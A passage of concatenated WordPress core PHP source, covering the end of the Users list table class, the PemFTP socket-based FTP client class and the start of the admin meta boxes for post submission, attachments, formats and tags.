			} else {
				$row .= "<td $attributes>";
				switch ( $column_name ) {
					case 'username':
						$row .= "$avatar $edit";
						break;
					case 'name':
						if ( $user_object->first_name && $user_object->last_name ) {
							$row .= sprintf(
								/* translators: 1: User's first name, 2: Last name. */
								_x( '%1$s %2$s', 'Display name based on first name and last name' ),
								$user_object->first_name,
								$user_object->last_name
							);
						} elseif ( $user_object->first_name ) {
							$row .= $user_object->first_name;
						} elseif ( $user_object->last_name ) {
							$row .= $user_object->last_name;
						} else {
							$row .= sprintf(
								'<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">%s</span>',
								/* translators: Hidden accessibility text. */
								_x( 'Unknown', 'name' )
							);
						}
						break;
					case 'email':
						$row .= "<a href='" . esc_url( "mailto:$email" ) . "'>$email</a>";
						break;
					case 'role':
						$row .= esc_html( $roles_list );
						break;
					case 'posts':
						if ( $numposts > 0 ) {
							$row .= sprintf(
								'<a href="%s" class="edit"><span aria-hidden="true">%s</span><span class="screen-reader-text">%s</span></a>',
								"edit.php?author={$user_object->ID}",
								$numposts,
								sprintf(
									/* translators: Hidden accessibility text. %s: Number of posts. */
									_n( '%s post by this author', '%s posts by this author', $numposts ),
									number_format_i18n( $numposts )
								)
							);
						} else {
							$row .= 0;
						}
						break;
					default:
						/**
						 * Filters the display output of custom columns in the Users list table.
						 *
						 * @since 2.8.0
						 *
						 * @param string $output      Custom column output. Default empty.
						 * @param string $column_name Column name.
						 * @param int    $user_id     ID of the currently-listed user.
						 */
						$row .= apply_filters( 'manage_users_custom_column', '', $column_name, $user_object->ID );
				}

				if ( $primary === $column_name ) {
					$row .= $this->row_actions( $actions );
				}
				$row .= '</td>';
			}
		}
		$row .= '</tr>';

		return $row;
	}

	/**
	 * Gets the name of the default primary column.
	 *
	 * @since 4.3.0
	 *
	 * @return string Name of the default primary column, in this case, 'username'.
	 */
	protected function get_default_primary_column_name() {
		return 'username';
	}

	/**
	 * Returns an array of translated user role names for a given user object.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_User $user_object The WP_User object.
	 * @return string[] An array of user role names keyed by role.
	 */
	protected function get_role_list( $user_object ) {
		$wp_roles = wp_roles();

		$role_list = array();

		foreach ( $user_object->roles as $role ) {
			if ( isset( $wp_roles->role_names[ $role ] ) ) {
				$role_list[ $role ] = translate_user_role( $wp_roles->role_names[ $role ] );
			}
		}

		if ( empty( $role_list ) ) {
			$role_list['none'] = _x( 'None', 'no user roles' );
		}

		/**
		 * Filters the returned array of translated role names for a user.
		 *
		 * @since 4.4.0
		 *
		 * @param string[] $role_list   An array of translated user role names keyed by role.
		 * @param WP_User  $user_object A WP_User object.
		 */
		return apply_filters( 'get_role_list', $role_list, $user_object );
	}
}
<?php
/**
 * PemFTP - An Ftp implementation in pure PHP
 *
 * @package PemFTP
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */

/**
 * Socket Based FTP implementation
 *
 * @package PemFTP
 * @subpackage Socket
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */
class ftp_sockets extends ftp_base {

	function __construct($verb=FALSE, $le=FALSE) {
		parent::__construct(true, $verb, $le);
	}

// <!-- --------------------------------------------------------------------------------------- -->
// <!--       Private functions                                                                 -->
// <!-- --------------------------------------------------------------------------------------- -->

	function _settimeout($sock) {
		if(!@socket_set_option($sock, SOL_SOCKET, SO_RCVTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
			$this->PushError('_connect','socket set receive timeout',socket_strerror(socket_last_error($sock)));
			@socket_close($sock);
			return FALSE;
		}
		if(!@socket_set_option($sock, SOL_SOCKET , SO_SNDTIMEO, array("sec"=>$this->_timeout, "usec"=>0))) {
			$this->PushError('_connect','socket set send timeout',socket_strerror(socket_last_error($sock)));
			@socket_close($sock);
			return FALSE;
		}
		return true;
	}

	function _connect($host, $port) {
		$this->SendMSG("Creating socket");
		if(!($sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP))) {
			$this->PushError('_connect','socket create failed',socket_strerror(socket_last_error($sock)));
			return FALSE;
		}
		if(!$this->_settimeout($sock)) return FALSE;
		$this->SendMSG("Connecting to \"".$host.":".$port."\"");
		if (!($res = @socket_connect($sock, $host, $port))) {
			$this->PushError('_connect','socket connect failed',socket_strerror(socket_last_error($sock)));
			@socket_close($sock);
			return FALSE;
		}
		$this->_connected=true;
		return $sock;
	}

	function _readmsg($fnction="_readmsg"){
		if(!$this->_connected) {
			$this->PushError($fnction,'Connect first');
			return FALSE;
		}
		$result=true;
		$this->_message="";
		$this->_code=0;
		$go=true;
		do {
			$tmp=@socket_read($this->_ftp_control_sock, 4096, PHP_BINARY_READ);
			if($tmp===false) {
				$go=$result=false;
				$this->PushError($fnction,'Read failed', socket_strerror(socket_last_error($this->_ftp_control_sock)));
			} else {
				$this->_message.=$tmp;
				$go = !preg_match("/^([0-9]{3})(-.+\\1)? [^".CRLF."]+".CRLF."$/Us", $this->_message, $regs);
			}
		} while($go);
		if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
		$this->_code=(int)$regs[1];
		return $result;
	}

	function _exec($cmd, $fnction="_exec") {
		if(!$this->_ready) {
			$this->PushError($fnction,'Connect first');
			return FALSE;
		}
		if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
		$status=@socket_write($this->_ftp_control_sock, $cmd.CRLF);
		if($status===false) {
			$this->PushError($fnction,'socket write failed', socket_strerror(socket_last_error($this->stream)));
			return FALSE;
		}
		$this->_lastaction=time();
		if(!$this->_readmsg($fnction)) return FALSE;
		return TRUE;
	}

	function _data_prepare($mode=FTP_ASCII) {
		if(!$this->_settype($mode)) return FALSE;
		$this->SendMSG("Creating data socket");
		$this->_ftp_data_sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
		if ($this->_ftp_data_sock < 0) {
			$this->PushError('_data_prepare','socket create failed',socket_strerror(socket_last_error($this->_ftp_data_sock)));
			return FALSE;
		}
		if(!$this->_settimeout($this->_ftp_data_sock)) {
			$this->_data_close();
			return FALSE;
		}
		if($this->_passive) {
			if(!$this->_exec("PASV", "pasv")) {
				$this->_data_close();
				return FALSE;
			}
			if(!$this->_checkCode()) {
				$this->_data_close();
				return FALSE;
			}
			$ip_port = explode(",", preg_replace("/^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*$/s", "\\1", $this->_message));
			$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
			$this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
			if(!@socket_connect($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
				$this->PushError("_data_prepare","socket_connect", socket_strerror(socket_last_error($this->_ftp_data_sock)));
				$this->_data_close();
				return FALSE;
			}
			else $this->_ftp_temp_sock=$this->_ftp_data_sock;
		} else {
			if(!@socket_getsockname($this->_ftp_control_sock, $addr, $port)) {
				$this->PushError("_data_prepare","cannot get control socket information", socket_strerror(socket_last_error($this->_ftp_control_sock)));
				$this->_data_close();
				return FALSE;
			}
			if(!@socket_bind($this->_ftp_data_sock,$addr)){
				$this->PushError("_data_prepare","cannot bind data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
				$this->_data_close();
				return FALSE;
			}
			if(!@socket_listen($this->_ftp_data_sock)) {
				$this->PushError("_data_prepare","cannot listen data socket", socket_strerror(socket_last_error($this->_ftp_data_sock)));
				$this->_data_close();
				return FALSE;
			}
			if(!@socket_getsockname($this->_ftp_data_sock, $this->_datahost, $this->_dataport)) {
				$this->PushError("_data_prepare","cannot get data socket information", socket_strerror(socket_last_error($this->_ftp_data_sock)));
				$this->_data_close();
				return FALSE;
			}
			if(!$this->_exec('PORT '.str_replace('.',',',$this->_datahost.'.'.($this->_dataport>>8).'.'.($this->_dataport&0x00FF)), "_port")) {
				$this->_data_close();
				return FALSE;
			}
			if(!$this->_checkCode()) {
				$this->_data_close();
				return FALSE;
			}
		}
		return TRUE;
	}

	function _data_read($mode=FTP_ASCII, $fp=NULL) {
		$NewLine=$this->_eol_code[$this->OS_local];
		if(is_resource($fp)) $out=0;
		else $out="";
		if(!$this->_passive) {
			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
			$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
			if($this->_ftp_temp_sock===FALSE) {
				$this->PushError("_data_read","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
				$this->_data_close();
				return FALSE;
			}
		}

		while(($block=@socket_read($this->_ftp_temp_sock, $this->_ftp_buff_size, PHP_BINARY_READ))!==false) {
			if($block==="") break;
			if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
			if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
			else $out.=$block;
		}
		return $out;
	}

	function _data_write($mode=FTP_ASCII, $fp=NULL) {
		$NewLine=$this->_eol_code[$this->OS_local];
		if(is_resource($fp)) $out=0;
		else $out="";
		if(!$this->_passive) {
			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
			$this->_ftp_temp_sock=socket_accept($this->_ftp_data_sock);
			if($this->_ftp_temp_sock===FALSE) {
				$this->PushError("_data_write","socket_accept", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
				$this->_data_close();
				return false;
			}
		}
		if(is_resource($fp)) {
			while(!feof($fp)) {
				$block=fread($fp, $this->_ftp_buff_size);
				if(!$this->_data_write_block($mode, $block)) return false;
			}
		} elseif(!$this->_data_write_block($mode, $fp)) return false;
		return true;
	}

	function _data_write_block($mode, $block) {
		if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
		do {
			if(($t=@socket_write($this->_ftp_temp_sock, $block))===FALSE) {
				$this->PushError("_data_write","socket_write", socket_strerror(socket_last_error($this->_ftp_temp_sock)));
				$this->_data_close();
				return FALSE;
			}
			$block=substr($block, $t);
		} while(!empty($block));
		return true;
	}

	function _data_close() {
		@socket_close($this->_ftp_temp_sock);
		@socket_close($this->_ftp_data_sock);
		$this->SendMSG("Disconnected data from remote host");
		return TRUE;
	}

	function _quit() {
		if($this->_connected) {
			@socket_close($this->_ftp_control_sock);
			$this->_connected=false;
			$this->SendMSG("Socket closed");
		}
	}
}
?>
<?php
/**
 * WordPress Administration Meta Boxes API.
 *
 * @package WordPress
 * @subpackage Administration
 */

//
// Post-related Meta Boxes.
//

/**
 * Displays post submit form fields.
 *
 * @since 2.7.0
 *
 * @global string $action
 *
 * @param WP_Post $post Current post object.
 * @param array   $args {
 *     Array of arguments for building the post submit meta box.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args     Extra meta box arguments.
 * }
 */
function post_submit_meta_box( $post, $args = array() ) {
	global $action;

	$post_id          = (int) $post->ID;
	$post_type        = $post->post_type;
	$post_type_object = get_post_type_object( $post_type );
	$can_publish      = current_user_can( $post_type_object->cap->publish_posts );
	?>
<div class="submitbox" id="submitpost">

<div id="minor-publishing">

	<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key. ?>
	<div style="display:none;">
		<?php submit_button( __( 'Save' ), '', 'save' ); ?>
	</div>

	<div id="minor-publishing-actions">
		<div id="save-action">
			<?php
			if ( ! in_array( $post->post_status, array( 'publish', 'future', 'pending' ), true ) ) {
				$private_style = '';
				if ( 'private' === $post->post_status ) {
					$private_style = 'style="display:none"';
				}
				?>
				<input <?php echo $private_style; ?> type="submit" name="save" id="save-post" value="<?php esc_attr_e( 'Save Draft' ); ?>" class="button" />
				<span class="spinner"></span>
			<?php } elseif ( 'pending' === $post->post_status && $can_publish ) { ?>
				<input type="submit" name="save" id="save-post" value="<?php esc_attr_e( 'Save as Pending' ); ?>" class="button" />
				<span class="spinner"></span>
			<?php } ?>
		</div>

		<?php
		if ( is_post_type_viewable( $post_type_object ) ) :
			?>
			<div id="preview-action">
				<?php
				$preview_link = esc_url( get_preview_post_link( $post ) );
				if ( 'publish' === $post->post_status ) {
					$preview_button_text = __( 'Preview Changes' );
				} else {
					$preview_button_text = __( 'Preview' );
				}

				$preview_button = sprintf(
					'%1$s<span class="screen-reader-text"> %2$s</span>',
					$preview_button_text,
					/* translators: Hidden accessibility text. */
					__( '(opens in a new tab)' )
				);
				?>
				<a class="preview button" href="<?php echo $preview_link; ?>" target="wp-preview-<?php echo $post_id; ?>" id="post-preview"><?php echo $preview_button; ?></a>
				<input type="hidden" name="wp-preview" id="wp-preview" value="" />
			</div>
			<?php
		endif;

		/**
		 * Fires after the Save Draft (or Save as Pending) and Preview (or Preview Changes) buttons
		 * in the Publish meta box.
		 *
		 * @since 4.4.0
		 *
		 * @param WP_Post $post WP_Post object for the current post.
		 */
		do_action( 'post_submitbox_minor_actions', $post );
		?>
		<div class="clear"></div>
	</div>

	<div id="misc-publishing-actions">
		<div class="misc-pub-section misc-pub-post-status">
			<?php _e( 'Status:' ); ?>
			<span id="post-status-display">
				<?php
				switch ( $post->post_status ) {
					case 'private':
						_e( 'Privately Published' );
						break;
					case 'publish':
						_e( 'Published' );
						break;
					case 'future':
						_e( 'Scheduled' );
						break;
					case 'pending':
						_e( 'Pending Review' );
						break;
					case 'draft':
					case 'auto-draft':
						_e( 'Draft' );
						break;
				}
				?>
			</span>

			<?php
			if ( 'publish' === $post->post_status || 'private' === $post->post_status || $can_publish ) {
				$private_style = '';
				if ( 'private' === $post->post_status ) {
					$private_style = 'style="display:none"';
				}
				?>
				<a href="#post_status" <?php echo $private_style; ?> class="edit-post-status hide-if-no-js" role="button"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Edit status' );
					?>
				</span></a>

				<div id="post-status-select" class="hide-if-js">
					<input type="hidden" name="hidden_post_status" id="hidden_post_status" value="<?php echo esc_attr( ( 'auto-draft' === $post->post_status ) ? 'draft' : $post->post_status ); ?>" />
					<label for="post_status" class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Set status' );
						?>
					</label>
					<select name="post_status" id="post_status">
						<?php if ( 'publish' === $post->post_status ) : ?>
							<option<?php selected( $post->post_status, 'publish' ); ?> value='publish'><?php _e( 'Published' ); ?></option>
						<?php elseif ( 'private' === $post->post_status ) : ?>
							<option<?php selected( $post->post_status, 'private' ); ?> value='publish'><?php _e( 'Privately Published' ); ?></option>
						<?php elseif ( 'future' === $post->post_status ) : ?>
							<option<?php selected( $post->post_status, 'future' ); ?> value='future'><?php _e( 'Scheduled' ); ?></option>
						<?php endif; ?>
							<option<?php selected( $post->post_status, 'pending' ); ?> value='pending'><?php _e( 'Pending Review' ); ?></option>
						<?php if ( 'auto-draft' === $post->post_status ) : ?>
							<option<?php selected( $post->post_status, 'auto-draft' ); ?> value='draft'><?php _e( 'Draft' ); ?></option>
						<?php else : ?>
							<option<?php selected( $post->post_status, 'draft' ); ?> value='draft'><?php _e( 'Draft' ); ?></option>
						<?php endif; ?>
					</select>
					<a href="#post_status" class="save-post-status hide-if-no-js button"><?php _e( 'OK' ); ?></a>
					<a href="#post_status" class="cancel-post-status hide-if-no-js button-cancel"><?php _e( 'Cancel' ); ?></a>
				</div>
				<?php
			}
			?>
		</div>

		<div class="misc-pub-section misc-pub-visibility" id="visibility">
			<?php _e( 'Visibility:' ); ?>
			<span id="post-visibility-display">
				<?php
				if ( 'private' === $post->post_status ) {
					$post->post_password = '';
					$visibility          = 'private';
					$visibility_trans    = __( 'Private' );
				} elseif ( ! empty( $post->post_password ) ) {
					$visibility       = 'password';
					$visibility_trans = __( 'Password protected' );
				} elseif ( 'post' === $post_type && is_sticky( $post_id ) ) {
					$visibility       = 'public';
					$visibility_trans = __( 'Public, Sticky' );
				} else {
					$visibility       = 'public';
					$visibility_trans = __( 'Public' );
				}

				echo esc_html( $visibility_trans );
				?>
			</span>

			<?php if ( $can_publish ) { ?>
				<a href="#visibility" class="edit-visibility hide-if-no-js" role="button"><span aria-hidden="true"><?php _e( 'Edit' ); ?></span> <span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Edit visibility' );
					?>
				</span></a>

				<div id="post-visibility-select" class="hide-if-js">
					<input type="hidden" name="hidden_post_password" id="hidden-post-password" value="<?php echo esc_attr( $post->post_password ); ?>" />
					<?php if ( 'post' === $post_type ) : ?>
						<input type="checkbox" style="display:none" name="hidden_post_sticky" id="hidden-post-sticky" value="sticky" <?php checked( is_sticky( $post_id ) ); ?> />
					<?php endif; ?>

					<input type="hidden" name="hidden_post_visibility" id="hidden-post-visibility" value="<?php echo esc_attr( $visibility ); ?>" />
					<input type="radio" name="visibility" id="visibility-radio-public" value="public" <?php checked( $visibility, 'public' ); ?> /> <label for="visibility-radio-public" class="selectit"><?php _e( 'Public' ); ?></label><br />

					<?php if ( 'post' === $post_type && current_user_can( 'edit_others_posts' ) ) : ?>
						<span id="sticky-span"><input id="sticky" name="sticky" type="checkbox" value="sticky" <?php checked( is_sticky( $post_id ) ); ?> /> <label for="sticky" class="selectit"><?php _e( 'Stick this post to the front page' ); ?></label><br /></span>
					<?php endif; ?>

					<input type="radio" name="visibility" id="visibility-radio-password" value="password" <?php checked( $visibility, 'password' ); ?> /> <label for="visibility-radio-password" class="selectit"><?php _e( 'Password protected' ); ?></label><br />
					<span id="password-span"><label for="post_password"><?php _e( 'Password:' ); ?></label> <input type="text" name="post_password" id="post_password" value="<?php echo esc_attr( $post->post_password ); ?>"  maxlength="255" /><br /></span>

					<input type="radio" name="visibility" id="visibility-radio-private" value="private" <?php checked( $visibility, 'private' ); ?> /> <label for="visibility-radio-private" class="selectit"><?php _e( 'Private' ); ?></label><br />

					<p>
						<a href="#visibility" class="save-post-visibility hide-if-no-js button"><?php _e( 'OK' ); ?></a>
						<a href="#visibility" class="cancel-post-visibility hide-if-no-js button-cancel"><?php _e( 'Cancel' ); ?></a>
					</p>
				</div>
			<?php } ?>
		</div>

		<?php
		/* translators: Publish box date string. 1: Date, 2: Time. See https://www.php.net/manual/datetime.format.php */
		$date_string = __( '%1$s at %2$s' );
		/* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */
		$date_format = _x( 'M j, Y', 'publish box date format' );
		/* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */
		$time_format = _x( 'H:i', 'publish box time format' );

		if ( 0 !== $post_id ) {
			if ( 'future' === $post->post_status ) { // Scheduled for publishing at a future date.
				/* translators: Post date information. %s: Date on which the post is currently scheduled to be published. */
				$stamp = __( 'Scheduled for: %s' );
			} elseif ( 'publish' === $post->post_status || 'private' === $post->post_status ) { // Already published.
				/* translators: Post date information. %s: Date on which the post was published. */
				$stamp = __( 'Published on: %s' );
			} elseif ( '0000-00-00 00:00:00' === $post->post_date_gmt ) { // Draft, 1 or more saves, no date specified.
				$stamp = __( 'Publish <b>immediately</b>' );
			} elseif ( time() < strtotime( $post->post_date_gmt . ' +0000' ) ) { // Draft, 1 or more saves, future date specified.
				/* translators: Post date information. %s: Date on which the post is to be published. */
				$stamp = __( 'Schedule for: %s' );
			} else { // Draft, 1 or more saves, date specified.
				/* translators: Post date information. %s: Date on which the post is to be published. */
				$stamp = __( 'Publish on: %s' );
			}
			$date = sprintf(
				$date_string,
				date_i18n( $date_format, strtotime( $post->post_date ) ),
				date_i18n( $time_format, strtotime( $post->post_date ) )
			);
		} else { // Draft (no saves, and thus no date specified).
			$stamp = __( 'Publish <b>immediately</b>' );
			$date  = sprintf(
				$date_string,
				date_i18n( $date_format, strtotime( current_time( 'mysql' ) ) ),
				date_i18n( $time_format, strtotime( current_time( 'mysql' ) ) )
			);
		}

		if ( ! empty( $args['args']['revisions_count'] ) ) :
			?>
			<div class="misc-pub-section misc-pub-revisions">
				<?php
				/* translators: Post revisions heading. %s: The number of available revisions. */
				printf( __( 'Revisions: %s' ), '<b>' . number_format_i18n( $args['args']['revisions_count'] ) . '</b>' );
				?>
				<a class="hide-if-no-js" href="<?php echo esc_url( get_edit_post_link( $args['args']['revision_id'] ) ); ?>"><span aria-hidden="true"><?php _ex( 'Browse', 'revisions' ); ?></span> <span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Browse revisions' );
					?>
				</span></a>
			</div>
			<?php
		endif;

		if ( $can_publish ) : // Contributors don't get to choose the date of publish.
			?>
			<div class="misc-pub-section curtime misc-pub-curtime">
				<span id="timestamp">
					<?php printf( $stamp, '<b>' . $date . '</b>' ); ?>
				</span>
				<a href="#edit_timestamp" class="edit-timestamp hide-if-no-js" role="button">
					<span aria-hidden="true"><?php _e( 'Edit' ); ?></span>
					<span class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Edit date and time' );
						?>
					</span>
				</a>
				<fieldset id="timestampdiv" class="hide-if-js">
					<legend class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Date and time' );
						?>
					</legend>
					<?php touch_time( ( 'edit' === $action ), 1 ); ?>
				</fieldset>
			</div>
			<?php
		endif;

		if ( 'draft' === $post->post_status && get_post_meta( $post_id, '_customize_changeset_uuid', true ) ) :
			$message = sprintf(
				/* translators: %s: URL to the Customizer. */
				__( 'This draft comes from your <a href="%s">unpublished customization changes</a>. You can edit, but there is no need to publish now. It will be published automatically with those changes.' ),
				esc_url(
					add_query_arg(
						'changeset_uuid',
						rawurlencode( get_post_meta( $post_id, '_customize_changeset_uuid', true ) ),
						admin_url( 'customize.php' )
					)
				)
			);
			wp_admin_notice(
				$message,
				array(
					'type'               => 'info',
					'additional_classes' => array( 'notice-alt', 'inline' ),
				)
			);
		endif;

		/**
		 * Fires after the post time/date setting in the Publish meta box.
		 *
		 * @since 2.9.0
		 * @since 4.4.0 Added the `$post` parameter.
		 *
		 * @param WP_Post $post WP_Post object for the current post.
		 */
		do_action( 'post_submitbox_misc_actions', $post );
		?>
	</div>
	<div class="clear"></div>
</div>

<div id="major-publishing-actions">
	<?php
	/**
	 * Fires at the beginning of the publishing actions section of the Publish meta box.
	 *
	 * @since 2.7.0
	 * @since 4.9.0 Added the `$post` parameter.
	 *
	 * @param WP_Post|null $post WP_Post object for the current post on Edit Post screen,
	 *                           null on Edit Link screen.
	 */
	do_action( 'post_submitbox_start', $post );
	?>
	<div id="delete-action">
		<?php
		if ( current_user_can( 'delete_post', $post_id ) ) {
			if ( ! EMPTY_TRASH_DAYS ) {
				$delete_text = __( 'Delete permanently' );
			} else {
				$delete_text = __( 'Move to Trash' );
			}
			?>
			<a class="submitdelete deletion" href="<?php echo get_delete_post_link( $post_id ); ?>"><?php echo $delete_text; ?></a>
			<?php
		}
		?>
	</div>

	<div id="publishing-action">
		<span class="spinner"></span>
		<?php
		if ( ! in_array( $post->post_status, array( 'publish', 'future', 'private' ), true ) || 0 === $post_id ) {
			if ( $can_publish ) :
				if ( ! empty( $post->post_date_gmt ) && time() < strtotime( $post->post_date_gmt . ' +0000' ) ) :
					?>
					<input name="original_publish" type="hidden" id="original_publish" value="<?php echo esc_attr_x( 'Schedule', 'post action/button label' ); ?>" />
					<?php submit_button( _x( 'Schedule', 'post action/button label' ), 'primary large', 'publish', false ); ?>
					<?php
				else :
					?>
					<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e( 'Publish' ); ?>" />
					<?php submit_button( __( 'Publish' ), 'primary large', 'publish', false ); ?>
					<?php
				endif;
			else :
				?>
				<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e( 'Submit for Review' ); ?>" />
				<?php submit_button( __( 'Submit for Review' ), 'primary large', 'publish', false ); ?>
				<?php
			endif;
		} else {
			?>
			<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e( 'Update' ); ?>" />
			<?php submit_button( __( 'Update' ), 'primary large', 'save', false, array( 'id' => 'publish' ) ); ?>
			<?php
		}
		?>
	</div>
	<div class="clear"></div>
</div>

</div>
	<?php
}

/**
 * Displays attachment submit form fields.
 *
 * @since 3.5.0
 *
 * @param WP_Post $post Current post object.
 */
function attachment_submit_meta_box( $post ) {
	?>
<div class="submitbox" id="submitpost">

<div id="minor-publishing">

	<?php // Hidden submit button early on so that the browser chooses the right button when form is submitted with Return key. ?>
<div style="display:none;">
	<?php submit_button( __( 'Save' ), '', 'save' ); ?>
</div>


<div id="misc-publishing-actions">
	<div class="misc-pub-section curtime misc-pub-curtime">
		<span id="timestamp">
			<?php
			$uploaded_on = sprintf(
				/* translators: Publish box date string. 1: Date, 2: Time. */
				__( '%1$s at %2$s' ),
				/* translators: Publish box date format, see https://www.php.net/manual/datetime.format.php */
				date_i18n( _x( 'M j, Y', 'publish box date format' ), strtotime( $post->post_date ) ),
				/* translators: Publish box time format, see https://www.php.net/manual/datetime.format.php */
				date_i18n( _x( 'H:i', 'publish box time format' ), strtotime( $post->post_date ) )
			);
			/* translators: Attachment information. %s: Date the attachment was uploaded. */
			printf( __( 'Uploaded on: %s' ), '<b>' . $uploaded_on . '</b>' );
			?>
		</span>
	</div><!-- .misc-pub-section -->

	<?php
	/**
	 * Fires after the 'Uploaded on' section of the Save meta box
	 * in the attachment editing screen.
	 *
	 * @since 3.5.0
	 * @since 4.9.0 Added the `$post` parameter.
	 *
	 * @param WP_Post $post WP_Post object for the current attachment.
	 */
	do_action( 'attachment_submitbox_misc_actions', $post );
	?>
</div><!-- #misc-publishing-actions -->
<div class="clear"></div>
</div><!-- #minor-publishing -->

<div id="major-publishing-actions">
	<div id="delete-action">
	<?php
	if ( current_user_can( 'delete_post', $post->ID ) ) {
		if ( EMPTY_TRASH_DAYS && MEDIA_TRASH ) {
			printf(
				'<a class="submitdelete deletion" href="%1$s">%2$s</a>',
				get_delete_post_link( $post->ID ),
				__( 'Move to Trash' )
			);
		} else {
			$show_confirmation = ! MEDIA_TRASH ? " onclick='return showNotice.warn();'" : '';

			printf(
				'<a class="submitdelete deletion"%1$s href="%2$s">%3$s</a>',
				$show_confirmation,
				get_delete_post_link( $post->ID, '', true ),
				__( 'Delete permanently' )
			);
		}
	}
	?>
	</div>

	<div id="publishing-action">
		<span class="spinner"></span>
		<input name="original_publish" type="hidden" id="original_publish" value="<?php esc_attr_e( 'Update' ); ?>" />
		<input name="save" type="submit" class="button button-primary button-large" id="publish" value="<?php esc_attr_e( 'Update' ); ?>" />
	</div>
	<div class="clear"></div>
</div><!-- #major-publishing-actions -->

</div>

	<?php
}

/**
 * Displays post format form elements.
 *
 * @since 3.1.0
 *
 * @param WP_Post $post Current post object.
 * @param array   $box {
 *     Post formats meta box arguments.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args     Extra meta box arguments.
 * }
 */
function post_format_meta_box( $post, $box ) {
	if ( current_theme_supports( 'post-formats' ) && post_type_supports( $post->post_type, 'post-formats' ) ) :
		$post_formats = get_theme_support( 'post-formats' );

		if ( is_array( $post_formats[0] ) ) :
			$post_format = get_post_format( $post->ID );
			if ( ! $post_format ) {
				$post_format = '0';
			}
			// Add in the current one if it isn't there yet, in case the active theme doesn't support it.
			if ( $post_format && ! in_array( $post_format, $post_formats[0], true ) ) {
				$post_formats[0][] = $post_format;
			}
			?>
		<div id="post-formats-select">
		<fieldset>
			<legend class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Post Formats' );
				?>
			</legend>
			<input type="radio" name="post_format" class="post-format" id="post-format-0" value="0" <?php checked( $post_format, '0' ); ?> /> <label for="post-format-0" class="post-format-icon post-format-standard"><?php echo get_post_format_string( 'standard' ); ?></label>
			<?php foreach ( $post_formats[0] as $format ) : ?>
			<br /><input type="radio" name="post_format" class="post-format" id="post-format-<?php echo esc_attr( $format ); ?>" value="<?php echo esc_attr( $format ); ?>" <?php checked( $post_format, $format ); ?> /> <label for="post-format-<?php echo esc_attr( $format ); ?>" class="post-format-icon post-format-<?php echo esc_attr( $format ); ?>"><?php echo esc_html( get_post_format_string( $format ) ); ?></label>
			<?php endforeach; ?>
		</fieldset>
	</div>
			<?php
	endif;
endif;
}

/**
 * Displays post tags form fields.
 *
 * @since 2.6.0
 *
 * @todo Create taxonomy-agnostic wrapper for this.
 *
 * @param WP_Post $post Current post object.
 * @param array   $box {
 *     Tags meta box arguments.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type array    $args {
 *         Extra meta box arguments.
 *
 *         @type string $taxonomy Taxonomy. Default 'post_tag'.
 *     }
 * }
 */
function post_tags_meta_box( $post, $box ) {
	$defaults = array( 'taxonomy' => 'post_tag' );
	if ( ! isset( $box['args'] ) || ! is_array( $box['args'] ) ) {
		$args = array();
	} else {
		$args = $box['args'];
	}
	$parsed_args           = wp_parse_args( $args, $defaults );
	$tax_name              = esc_attr( $parsed_args['taxonomy'] );
	$taxonomy              = get_taxonomy( $parsed_args['taxonomy'] );
	$user_can_assign_terms = current_user_can( $taxonomy->cap->assign_terms );
	$comma                 = _x( ',', 'tag delimiter' );
	$terms_to_edit         = get_terms_to_edit( $post->ID, $tax_name );
	if ( ! is_string( $terms_to_edit ) ) {
		$terms_to_edit = '';
